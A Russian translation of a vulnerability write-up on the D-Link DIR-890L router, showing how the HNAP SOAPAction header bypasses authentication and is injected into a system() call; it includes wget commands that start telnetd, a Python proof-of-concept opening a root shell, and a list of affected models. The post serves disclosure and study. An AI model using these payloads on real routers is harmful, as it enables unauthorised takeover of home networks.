Взламываем D-Link DIR-890L

от автора

Последние 6 месяцев, я был жутко занят и не следил за новыми хренями от D-Link. Чтобы немного поразвлечься, я зашел на их сайт, и меня поприветствовал этот кошмар:

Insane router
Самый безумный роутер D-Link DIR-890L за $300

Пожалуй, самым «безумным» в роутере является то, что он работает под управлением все той же забагованной прошивки, которую D-Link ставит в свои роутеры вот уже несколько лет…and the hits just keep on coming.

Хорошо, давайте как обычно — возьмем последнюю версию прошивки, пройдемся по ней binwalk и посмотрим, что мы получили:

DECIMAL       HEXADECIMAL     DESCRIPTION -------------------------------------------------------------------------------- 0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/7" 116           0x74            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124       0x1C0074        PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156       0x1C0094        Squashfs filesystem, little endian, version 4.0, compress

Похоже на обычную прошивку с Linux, а если вы заглядывали в любую прошивку D-Link за последние несколько лет, вы без труда вспомните структуру директорий:

$ ls squashfs-root bin  dev  etc  home  htdocs  include  lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www

Все, что относится к HTTP, UPnP и HNAP, расположено в директории htdocs. Самый интересный файл здесь — htdocs/cgibin — ELF-бинарник для ARM, который выполняется вебсервером для, хм, почти всего: все симлинки к CGI, UPnP и HNAP-ссылкам ведут на этот файл:

$ ls -l htdocs/web/*.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

Он, конечно же, stripped, но в нем есть множество строк, которые будут нам в помощь. В первую очередь, main сравнивает argv[0] со списком известных ему имен симлинков (captcha.cgi, conntrack.cgi и т.д.) чтобы определить, какое действие выполнять:

staircase
Граф вызовов, типичный каскад if/else

Каждое сравнение производится вызовом strcmp на известные имена симлинков:

image
Разные функции обработчиков разных симлинков

Чтобы упростить сопоставление функций-обработчиков и симлинков, переименуем их, согласно имени симлинка:

image
Переименованные функции-обработчики

Теперь, когда у нас есть имена функций, давайте начнем искать баги. Другие устройства от D-Link, работающие под управлением точно такой же прошивки, ранее были взломаны через HTTP и UPnP-интерфейсы, однако, HNAP-интерфейс, который обрабатывается функцией hnap_main в cgibin, похоже, никто особо не смотрел.

HNAP (Home Network Administration Protocol) — протокол на основе SOAP, похожий на UPnP, который обычно используется утилитой для первоначальной настройки D-Link роутеров «EZ». В отличие от UPnP, все действия HNAP, кроме GetDeviceInfo (который бесполезен), требуют HTTP Basic-аутентификацию.

POST /HNAP1 HTTP/1.1 Host: 192.168.0.1 Authorization: Basic YWMEHZY+ Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"   <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>   <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">    <PortMappingDescription>foobar</PortMappingDescription>    <InternalClient>192.168.0.100</InternalClient>    <PortMappingProtocol>TCP</PortMappingProtocol>    <ExternalPort>1234</ExternalPort>    <InternalPort>1234</InternalPort>   </AddPortMapping>  </soap:Body> </soap:Envelope>

Заголовок SOAPAction очень важен в HNAP-запросе, т.к. именно он задает, какое действие выполнит сервер (действие AddPortMapping в примере выше).

Вследствие того, что cgibin запускается как CGI-приложение веб-сервером, hnap_main получает данные HNAP-запроса, например, заголовок SOAPAction, через переменные окружения:

image
SOAPAction = getenv(“HTTP_SOAPACTION”);

Ближе к концу hnap_main, вызовом sprintf генерируется shell-команда, которая затем выполняется через system:

image
sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);

Очевидно, что hnap_main использует данные из заголовка SOAPAction внутри команды system! Этот баг подает надежды, особенно, если заголовок SOAPAction не экранируется, и если мы сможем попасть в это место без аутентификации.

В начале hnap_main проверяется, равен ли заголовок SOAPAction строке http://purenetworks.com/HNAP1/GetDeviceSettings, и если он равен, аутентификация пропускается. Это ожидаемо, мы уже подметили ранее, что GetDeviceSettings не требует аутентификации:

image
if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)

Заметим, однако, что для проверки используется функция strstr, которая только проверяет наличие строки http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке SOAPAction, а не равенство ей.
Итак, если заголовок SOAPAction содержит подстроку http://purenetworks.com/HNAP1/GetDeviceSettings, функция достает название действия (т.е. GetDeviceSettings) из заголовка и убирает двойные кавычки:

image
SOAPAction = strrchr(SOAPAction, ‘/’);

Имя действия (GetDeviceSettings) вычленяется из заголовка, затем попадает в system, проходя sprintf.
Вот код на C, который демонстрирует ошибку в логике:

/* Grab a pointer to the SOAPAction header */ SOAPAction = getenv("HTTP_SOAPACTION");   /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */ if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL) {     /* do auth check */ }   /* Do a reverse search for the last forward slash in the SOAPAction header */ SOAPAction = strrchr(SOAPAction, '/'); if(SOAPAction != NULL) {     /* Point the SOAPAction pointer one byte beyond the last forward slash */     SOAPAction += 1;       /* Get rid of any trailing double quotes */     if(SOAPAction[strlen(SOAPAction)-1] == '"')     {         SOAPAction[strlen(SOAPAction)-1] = '\0';     } } else {     goto failure_condition; }   /* Build the command using the specified SOAPAction string and execute it */ sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction); system(command);

Итак, что мы из этого вынесли:

  • Проверка аутентификации отсутствует, если в заголовке SOAPAction есть подстрока http://purenetworks.com/HNAP1/GetDeviceSettings
  • В sprintfsystem) передается все, что находится после последнего слеша в заголовке SOAPAction

Мы с легкостью можем сформировать заголовок SOAPAction, который будет удовлетворять пропуску аутентификации и позволять нам передавать свою строку в system:

SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке позволяет нам обойти аутентификацию, а строка `reboot` будет передана в system

system("sh /var/run/`reboot`.sh > /dev/console");

Заменой reboot на telnetd мы запустим telnet-сервер без аутентификации:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'.     BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.   # 

Мы можем отправлять HNAP-запросы из WAN, если было включено удаленное администрирование. Конечно, брандмауер блокирует все входящие соединения на telnet из WAN. Самое простое решение — убить HTTP-сервер и запустить telnetd на его порту:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'.   BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.   # 

Замечу, что wget будет висеть в ожидании ответа, т.к. cgibin будет ожидать завершение telnetd. Вот маленький PoC на Python, который все делает чуточку удобней:

#!/usr/bin/env python   import sys import urllib2 import httplib   try:     ip_port = sys.argv[1].split(':')     ip = ip_port[0]       if len(ip_port) == 2:         port = ip_port[1]     elif len(ip_port) == 1:         port = "80"     else:         raise IndexError except IndexError:     print "Usage: %s <target ip:port>" % sys.argv[0]     sys.exit(1)   url = "http://%s:%s/HNAP1" % (ip, port) # NOTE: If exploiting from the LAN, telnetd can be started on #       any port; killing the http server and re-using its port #       is not necessary. # #       Killing off all hung hnap processes ensures that we can #       re-start httpd later. command = "killall httpd; killall hnap; telnetd -p %s" % port headers = {             "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,           }   req = urllib2.Request(url, None, headers) try:     urllib2.urlopen(req)     raise Exception("Unexpected response") except httplib.BadStatusLine:     print "Exploit sent, try telnetting to %s:%s!" % (ip, port)     print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"     sys.exit(0) except Exception:     print "Received an unexpected response from the server; exploit probably failed. :("

Я проверил этот баг на прошивках v1.00 и v1.03 (последняя на момент написания статьи), и они обе уязвимы. Но, как это обычно бывает с большинством уязвимостей в embedded, этот код попал и в прошивки других устройств.

Анализировать все прошивки довольно утомительно, поэтому я передал инфромацию о баге команде Centrifuge, у которых есть отличие утилиты для автоматического анализа подобных вещей. Centrifuge обнаружили эту уязвимость в следующих моделях:

  • DAP-1522 revB
  • DAP-1650 revB
  • DIR-880L
  • DIR-865L
  • DIR-860L revA
  • DIR-860L revB
  • DIR-815 revB
  • DIR-300 revB
  • DIR-600 revB
  • DIR-645
  • TEW-751DR
  • TEW-733GR

Насколько я знаю, HNAP на этих устройствах никаким образом отключить нельзя.

UPDATE: Похоже, в начале года этот же баг нашел Samuel Huntly, но он был исправлен только для DIR-645. Патч достаточно хреновый, ждите его разбор в следующем посте.

ссылка на оригинал статьи http://habrahabr.ru/post/256451/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *